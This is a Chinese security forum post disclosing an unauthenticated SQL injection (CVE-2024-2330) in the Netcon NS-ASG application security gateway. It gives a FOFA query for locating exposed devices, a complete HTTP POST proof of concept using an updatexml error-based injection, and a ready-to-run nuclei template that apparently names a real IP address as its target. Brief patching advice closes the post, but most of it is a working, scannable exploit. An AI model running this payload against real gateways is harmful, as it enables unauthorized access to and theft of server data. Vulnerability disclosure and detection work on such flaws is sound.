网康科技 NS-ASG 应用安全网关index.php存在SQL注入漏洞(CVE-2024-2330)

我是大白   ·   发表于 2024-03-14 19:22:08   ·   漏洞文章

网康科技 NS-ASG 应用安全网关index.php存在SQL注入漏洞(CVE-2024-2330)

漏洞描述

网康科技的NS-ASG应用安全网关是一款软硬件一体化的产品,集成了SSL和 IPSecQ,旨在保障业务访问的安全性,适配所有移动终端,提供多种链路均衡和选择技术,支持多种认证方式灵活组合,以及内置短信认证、LDAP令牌、USB KEY等多达13种认证方式。击者可以远程发起攻击。未经身份验证的攻击者可以远程发起攻击获取服务器敏感数据。

产品界面

fofa语法

app="网康科技-NS-ASG安全网关"

POC

  1. POST /protocol/index.php HTTP/1.1
  2. Host:
  3. Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
  4. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
  5. Accept: */*
  6. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  7. Accept-Encoding: gzip, deflate
  8. Sec-Fetch-Dest: empty
  9. Sec-Fetch-Mode: cors
  10. Sec-Fetch-Site: same-origin
  11. Te: trailers
  12. Connection: close
  13. Content-Type: application/x-www-form-urlencoded
  14. Content-Length: 263
  15. jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

nuclei验证

  1. id: wangkang-NS-ASG-Gateway-index-sql
  2. info:
  3. name: 网康科技 NS-ASG 应用安全网关index.php存在SQL注入漏洞(CVE-2024-2330)
  4. author: nobody
  5. severity: high
  6. description: |
  7. 网康科技的NS-ASG应用安全网关是一款软硬件一体化的产品,集成了SSL IPSecQ,旨在保障业务访问的安全性,适配所有移动终端,提供多种链路均衡和选择技术,支持多种认证方式灵活组合,以及内置短信认证、LDAP令牌、USB KEY等多达13种认证方式。击者可以远程发起攻击。未经身份验证的攻击者可以远程发起攻击获取服务器敏感数据。
  8. impact: |
  9. 未经身份验证的攻击者可以远程发起攻击获取服务器敏感数据
  10. remediation: |
  11. 升级至最新版本,对输入做严格过滤,禁止公网访问
  12. metadata:
  13. verified: true
  14. max-request: 3
  15. fofa-query: app="网康科技-NS-ASG安全网关"
  16. tags: gateway,NS-ASG
  17. requests:
  18. - raw:
  19. - |
  20. POST /protocol/index.php HTTP/1.1
  21. Host: 223.210.14.6:8081
  22. Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
  23. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
  24. Accept: */*
  25. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  26. Accept-Encoding: gzip, deflate
  27. Sec-Fetch-Dest: empty
  28. Sec-Fetch-Mode: cors
  29. Sec-Fetch-Site: same-origin
  30. Te: trailers
  31. Connection: close
  32. Content-Type: application/x-www-form-urlencoded
  33. Content-Length: 263
  34. jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
  35. matchers:
  36. - type: dsl
  37. dsl:
  38. - status_code == 200 && contains_all(body,"XPATH syntax error:")

修复建议

  • 建议升级到最新版本或打补丁
  • 非必要禁止公网访问或白名单访问
  • 对输入做严格过滤

打赏我,让我更有动力~

0 条回复   |  直到 9个月前 | 296 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.